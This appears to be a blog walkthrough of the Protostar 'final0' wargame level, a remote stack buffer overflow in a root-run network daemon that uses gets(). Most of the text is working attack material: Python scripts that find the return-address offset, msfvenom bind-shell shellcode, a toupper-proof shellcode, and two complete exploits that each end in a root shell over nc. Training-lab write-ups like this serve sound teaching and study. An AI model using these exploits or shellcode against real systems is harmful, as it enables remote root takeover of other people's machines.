Protostar – final0

Information

This level combines a stack overflow and network programming for a remote overflow.
Hints: depending on where you are returning to, you may wish to use a toupper() proof shellcode.
Core files will be in /tmp.

This level is at /opt/protostar/bin/final0

Source code

#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
  char buffer[512];
  char *q;
  int i;

  memset(buffer, 0, sizeof(buffer));
  gets(buffer);

  /* Strip off trailing new line characters */
  q = strchr(buffer, '\n');
  if(q) *q = 0;
  q = strchr(buffer, '\r');
  if(q) *q = 0;

  /* Convert to lower case */
  for(i = 0; i < strlen(buffer); i++) {
      buffer[i] = toupper(buffer[i]);
  }

  /* Duplicate the string and return it */
  return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  username = get_username();
  
  printf("No such user %s\n", username);
}

Solution

This level introduces remote buffer overflow. The vulnerability is located at the following line :

gets(buffer);

gets() is not a safe function as it doesn’t check the len of the argument received. I can overflow the variable ‘buffer’.
To find the offset before the saved EIP, I use the following python script :

#!/usr/bin/python

from socket import *

host = '192.168.0.46'
port = 2995

sock = socket(AF_INET,SOCK_STREAM)
sock.connect((host, port))

# pattern 600 bytes
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"

sock.send(payload+"\r\n")

recv = sock.recv(2048)

sock.close()

I run my script and then I check the kernel message on protostar :

$ dmesg
...
[62554.993084] final0[2683]: segfault at 72413772 ip 72413772 sp bffffc60 error 4
...
$ ./pattern_offset.rb 72413772
[*] Exact match at offset 532

Alright, I have the offset. I modify my script as following :

#!/usr/bin/python

from socket import *

host = '192.168.0.46'
port = 2995

sock = socket(AF_INET,SOCK_STREAM)
sock.connect((host, port))

# offset 532
payload = "a" * 532
payload += "b" * 4
payload += "c" * 200

sock.send(payload+"\r\n")

recv = sock.recv(2048)

sock.close()

I use lower case characters on purpose because of the following line :

buffer[i] = toupper(buffer[i]);

Each character should be modified to upper case.
I run my script and check if a coredump has been generated :

$ ls /tmp
core.11.final0.2860
$ gdb -q -c /tmp/core.11.final0.2860
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) x/60x $esp-32
0xbffffc40:	0x41414141	0x41414141	0x00000000	0x00000200
0xbffffc50:	0x61616161	0x61616161	0x61616161	0x62626262
0xbffffc60:	0x63636363	0x63636363	0x63636363	0x63636363
0xbffffc70:	0x63636363	0x63636363	0x63636363	0x63636363
0xbffffc80:	0x63636363	0x63636363	0x63636363	0x63636363
0xbffffc90:	0x63636363	0x63636363	0x63636363	0x63636363
0xbffffca0:	0x63636363	0x63636363	0x63636363	0x63636363
0xbffffcb0:	0x63636363	0x63636363	0x63636363	0x63636363
0xbffffcc0:	0x63636363	0x63636363	0x63636363	0x63636363
0xbffffcd0:	0x63636363	0x63636363	0x63636363	0x63636363
0xbffffce0:	0x63636363	0x63636363	0x63636363	0x63636363
0xbffffcf0:	0x63636363	0x63636363	0x63636363	0x63636363
0xbffffd00:	0x63636363	0x63636363	0x63636363	0x63636363
0xbffffd10:	0x63636363	0x63636363	0x63636363	0x63636363
0xbffffd20:	0x63636363	0x63636363	0xbfff000d	0xb7fff8f8

512 characters have changed to upper case and the rest of my payload stays the same.
Two possibilities: I can jump backwards in my payload and use an upper case shellcode, or, I can jump forward in my payload and use a classic shellcode.

JUMP FORWARD

I can jump right after the saved EIP : 0xbffffc60. To be safe, I also use NOPs just after the saved EIP.
I create a bind shell :

root@blackndoor:~# msfvenom -p linux/x86/shell_bind_tcp LPORT=12345 -b "\x00\x0a\x0d" -f py
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 105 (iteration=0)
x86/shikata_ga_nai chosen with final size 105
Payload size: 105 bytes
buf =  ""
buf += "\xd9\xc7\xb8\x29\xe6\xe4\xcd\xd9\x74\x24\xf4\x5d\x31"
buf += "\xc9\xb1\x14\x83\xed\xfc\x31\x45\x15\x03\x45\x15\xcb"
buf += "\x13\xd5\x16\xfc\x3f\x45\xea\x51\xaa\x68\x65\xb4\x9a"
buf += "\x0b\xb8\xb6\x80\x8d\x10\xde\x34\x32\xa5\x27\x53\x22"
buf += "\x94\x07\x2a\xa3\x7c\xc1\x74\xe9\x01\x84\xc4\xf5\xb2"
buf += "\x92\x76\x93\x79\x1a\x35\xec\xe4\xd7\x3a\x9f\xb0\x8d"
buf += "\x05\xf8\x8f\xd1\x33\x81\xf7\xb9\xec\x5e\x7b\x51\x9b"
buf += "\x8f\x19\xc8\x35\x59\x3e\x5a\x99\xd0\x20\xea\x16\x2e"
buf += "\x22"

The final python script :

#!/usr/bin/python

from socket import *

host = '192.168.0.46'
port = 2995

sock = socket(AF_INET,SOCK_STREAM)
sock.connect((host, port))

# linux/x86/shell_bind_tcp LPORT=12345 -b "\x00\x0a\x0d"
buf =  ""
buf += "\xd9\xc7\xb8\x29\xe6\xe4\xcd\xd9\x74\x24\xf4\x5d\x31"
buf += "\xc9\xb1\x14\x83\xed\xfc\x31\x45\x15\x03\x45\x15\xcb"
buf += "\x13\xd5\x16\xfc\x3f\x45\xea\x51\xaa\x68\x65\xb4\x9a"
buf += "\x0b\xb8\xb6\x80\x8d\x10\xde\x34\x32\xa5\x27\x53\x22"
buf += "\x94\x07\x2a\xa3\x7c\xc1\x74\xe9\x01\x84\xc4\xf5\xb2"
buf += "\x92\x76\x93\x79\x1a\x35\xec\xe4\xd7\x3a\x9f\xb0\x8d"
buf += "\x05\xf8\x8f\xd1\x33\x81\xf7\xb9\xec\x5e\x7b\x51\x9b"
buf += "\x8f\x19\xc8\x35\x59\x3e\x5a\x99\xd0\x20\xea\x16\x2e"
buf += "\x22"

payload = "\x90"*532 + "\x60\xfc\xff\xbf" + "\x90"*100

payload += buf

sock.send(payload+"\r\n")

recv = sock.recv(2048)

sock.close()

Let’s fire up :

root@blackndoor:~# python final00.py

A shell is waiting for me :

root@blackndoor:~# nc 192.168.0.46 12345
whoami
root

JUMP BACKWARDS

First, I need to find the memory address on which to jump. For that, I reopen the core dump :

(gdb) x/640x $esp-640
0xbffff9e0:	0xbffffa48	0x00000201	0xbffffa08	0xb7f06caa
0xbffff9f0:	0x00000201	0xb7f0a050	0xfefefeff	0xb7fd7ff4
0xbffffa00:	0xbffffa48	0x00000201	0xbffffa28	0xb7f0a068
0xbffffa10:	0x0804b008	0xbffffa48	0x00000201	0x00000200
0xbffffa20:	0x00000000	0x00000000	0xbffffc58	0x0804982a
0xbffffa30:	0xbffffa48	0x0000000d	0x00000200	0x00000692
0xbffffa40:	0xb7e9c894	0x0d696910	0x41414141	0x41414141
0xbffffa50:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa60:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa70:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa80:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa90:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffaa0:	0x41414141	0x41414141	0x41414141	0x41414141
...

I choose to jump on the address 0xbffffa60
Now I need a toupper shellcode. After googling, I find :

https://www.exploit-db.com/exploits/13427/

The final python script :

#!/usr/bin/python

import socket

host='192.168.0.46'
port=2995

nop1 = "\x90" * 100

# toupper bind shellcode, port 5074, 226 bytes
shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA"

nop2 = "\x90" * (532-len(nop1+shellcode))

jmp = '\x60\xfa\xff\xbf'

payload = nop1+shellcode+nop2+jmp

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))

sock.send(payload+'\r\n')

recv = sock.recv(1024)

print recv

sock.close()

Let’s fire up :

root@blackndoor:~# python final0.py

A shell is waiting :

root@blackndoor:~# nc 192.168.0.46 5074
whoami
root

That’s it, final0 is done.


Laisser un commentaire